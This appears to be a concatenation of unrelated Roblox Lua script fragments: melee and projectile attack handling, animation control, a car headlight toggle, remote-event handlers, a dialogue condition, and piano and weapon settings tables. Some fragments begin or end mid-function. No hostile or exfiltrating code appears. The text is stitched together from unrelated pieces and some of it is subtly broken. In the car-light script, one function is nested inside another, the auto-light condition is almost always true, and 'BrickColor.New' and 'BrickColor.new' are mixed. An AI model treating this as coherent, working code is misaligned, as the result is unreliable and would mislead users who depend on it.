light.Parent = slash slash.Parent = workspace game:GetService("Debris"):AddItem(slash, 5) AttackProjectileVictims = {} local c = slash.Touched:connect(onProjectileTouched) wait(0.5) slash.Anchored = true slash.Transparency = 1 c:disconnect() spark.Enabled = false light:Destroy() end end function onLeftDown() if not AttackAble then return end AttackAble = false Remote:FireClient(getPlayer(), "PlayAnimation", "Swing1") delay(0.2, function() Handle.Swing.Pitch = math.random(90, 110)/100 Handle.Swing:Play() end) delay(AttackWindupTime, function() AttackVictims = {} AttackDamaging = true delay(AttackWindow, function() AttackDamaging = false end) end) LeftDown = true local t = 0 while LeftDown do t = t + Heartbeat:wait() if t > AttackHoldTime then onLeftHold() break end end delay(AttackRestTime, function() AttackAble = true end) end function onLeftUp() LeftDown = false end function onRemote(player, func, ...) if player ~= getPlayer() then return end if func == "LeftDown" then onLeftDown(...) elseif func == "LeftUp" then onLeftUp(...) end end Remote.OnServerEvent:connect(onRemote) Handle.Touched:connect(onHandleTouched)
-- functions
function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end currentAnim = "" currentAnimInstance = nil if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end return oldAnim end function setAnimationSpeed(speed) if speed ~= currentAnimSpeed then currentAnimSpeed = speed currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end function keyFrameReachedFunc(frameName) if (frameName == "End") then local repeatAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then repeatAnim = "idle" end local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.0, Humanoid) setAnimationSpeed(animSpeed) end end
-- Remade by Truenus
wait(0.05) local car = script.Parent.Parent.Car.Value local GBrake = script.Parent.Parent.Values.Brake function on() car.Body.Lights.RN.BrickColor=BrickColor.New("Maroon") car.Body.Lights.RN.Material=Enum.Material.Neon car.Body.Lights.Light.Material=Enum.Material.Neon car.Body.Lights.Light.Light.Enabled = true car.Body.Lights.Light.BrickColor=BrickColor.New("Institutional white") car.Body.Lights.RN.Light.Enabled = true function off() car.Body.Lights.Light.BrickColor=BrickColor.New("Dark stone grey") car.Body.Lights.RN.Material=Enum.Material.SmoothPlastic car.Body.Lights.RN.BrickColor=BrickColor.New("Crimson") car.Body.Lights.Light.Light.Enabled = false car.Body.Lights.Light.Material=Enum.Material.SmoothPlastic car.Body.Lights.RN.Light.Enabled = false for i,v in pairs(car.Body.Lights:GetChildren()) do if v.Name == "Light2" then v.Material=Enum.Material.SmoothPlastic v.Light.Enabled = false end end end end function on2() for i,v in pairs(car.Body.Lights:GetChildren()) do if v.Name == "Light2" then v.Material=Enum.Material.Neon v.Light.Enabled = true for i,v in pairs(car.Body.Lights:GetChildren()) do if v.Name == "Light" then v.BrickColor=BrickColor.new("Dark stone grey") v.Material = Enum.Material.SmoothPlastic v.Light.Enabled = false end end end end end function auto() if (game.Lighting:GetMinutesAfterMidnight()<0 or game.Lighting:GetMinutesAfterMidnight()>0) then car.Body.Lights.Light.Material=Enum.Material.Neon car.Body.Lights.Light.Light.Enabled = true car.Body.Lights.RN.BrickColor=BrickColor.New("Bright red") car.Body.Lights.RN.Light.Enabled = true else car.Body.Lights.RN.Light.Enabled = false car.Body.Lights.RN.Material=Enum.Material.SmoothPlastic car.Body.Lights.RN.BrickColor=BrickColor.New("Maroon") car.Body.Lights.Light.Light.Enabled = false car.Body.Lights.Light.Material=Enum.Material.SmoothPlastic end end script.Parent.MouseButton1Click:connect(function() if script.Parent.Text == "Lights: Auto" then on() script.Parent.Text = "Lights: On (1)" elseif script.parent.Text == "Lights: On (1)" then on2() script.Parent.Text = "Lights: On (2)" elseif script.Parent.Text == "Lights: On (2)" then off() script.Parent.Text = "Lights: Off" elseif script.parent.Text == "Lights: Off" then auto() script.Parent.Text = "Lights: Auto" end end) script.Parent.Parent.Values.Brake.Changed:connect(function() for i,v in pairs(car.Body.Lights:GetChildren()) do if v.Name=="R" then if v.Light.Enabled then if GBrake.Value>0 then v.Transparency=0 v.Light.Brightness=12 v.Light.Range=15 else v.Transparency=.3 v.Light.Brightness=8 v.Light.Range=10 end else v.Transparency=0 if GBrake.Value>0 then v.BrickColor=BrickColor.new("Really red") v.Material=Enum.Material.Neon else v.BrickColor=BrickColor.new("Black") v.Material=Enum.Material.SmoothPlastic end end elseif v.Name=="RR" then if GBrake.Value>0 then v.Material=Enum.Material.Neon if v.Light.Enabled then v.Transparency = 1 else v.Transparency = 0 end else v.Transparency = 1 if v.Light.Enabled then v.Material=Enum.Material.Neon else v.Material=Enum.Material.SmoothPlastic end end end end end) game.Lighting.Changed:connect(auto) auto()
-- Handle remote functions/events
function runStarting(player) if player.Character then if player.Character:FindFirstChild("FastStartScript") then player.Character.FastStartScript.Disabled = false end end end game.ReplicatedStorage.RemoteEvents.RunStarting.OnServerEvent:connect(runStarting) local behaviourModules = {} coroutine.wrap(function() for _, behaviourScript in ipairs(script.Behaviours:GetChildren()) do local success, errMessage = pcall(function() behaviourModules[behaviourScript.Name] = require(behaviourScript) end) if not success then warn("Failed to load module" ..behaviourScript.Name.. ".\n" ..errMessage) end end end)() function executeBehaviour(player, character, brickTouched, behaviourName) if behaviourModules[behaviourName] ~= nil then behaviourModules[behaviourName]:ExecuteBehaviour(brickTouched, character) end end game.ReplicatedStorage.RemoteEvents.ExecuteBehaviour.OnServerEvent:connect(executeBehaviour)
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation) return (not ClassInformationTable:GetClassFolder(player,"Brawler").Obtained.Value) end
--EDIT BELOW----------------------------------------------------------------------
settings.PianoSoundRange = 85 settings.KeyAesthetics = true settings.PianoSounds = { "683394510", "683394596", "683394650", "683394707", "683394742", "683394782" }
--Key Function --if(string.byte(key) == --BYTE--) then
function onKeyDown(key,mo) print(key) if (key~=nil) then key = key:lower() local vehicle = findPlane(game:GetService("Players").LocalPlayer) if (vehicle==nil) then return end plane = vehicle.Parts local engine = vehicle.Parts.Engine --STOP THAT SONG IN MY HEAD!!!! WHAAA!!
--[[ Server Module --]]
local Settings = { --, not ; ? | server module!! BulletHoleTexture = 'http://www.roblox.com/asset/?id=64291961' ,Damage = {30, 39} ,OneHanded = false --DONT USE YET ,FakeArms = true ,FakeArmTransparency = 0 ,RightPos = CFrame.new(-1,0.7,0.45) * CFrame.Angles(math.rad(-90), 0, 0) ,LeftPos = CFrame.new(0.8,0.8,0.3) * CFrame.Angles(math.rad(-90), math.rad(45), 0) } return Settings
-- // WHILE LOOP
while true do local Sprinting = Shadow:GetAttribute("Sprinting") if Sprinting == false then Debounce = false SprintAnim:Stop() elseif Sprinting == true then if not Debounce then Debounce = true SprintAnim:Play() end end task.wait() end
---------------------------------------------------------------------------------------------------- -------------------=[ PROJETIL ]=------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,Distance = 10000 ,BDrop = .25 ,BSpeed = 2200 ,SuppressMaxDistance = 25 --- Studs ,SuppressTime = 10 --- Seconds ,BulletWhiz = true ,BWEmitter = 25 ,BWMaxDistance = 200 ,BulletFlare = false ,BulletFlareColor = Color3.fromRGB(255,255,255) ,Tracer = true ,TracerColor = Color3.fromRGB(255,255,255) ,TracerLightEmission = 1 ,TracerLightInfluence = 0 ,TracerLifeTime = .2 ,TracerWidth = .1 ,RandomTracer = false ,TracerEveryXShots = 0 ,TracerChance = 100 ,BulletLight = false ,BulletLightBrightness = 1 ,BulletLightColor = Color3.fromRGB(255,255,255) ,BulletLightRange = 10 ,ExplosiveHit = false ,ExPressure = 500 ,ExpRadius = 25 ,DestroyJointRadiusPercent = 0 --- Between 0 & 1 ,ExplosionDamage = 100 ,LauncherDamage = {20,40} ,LauncherRadius = 25 ,LauncherPressure = 500 ,LauncherDestroyJointRadiusPercent = 0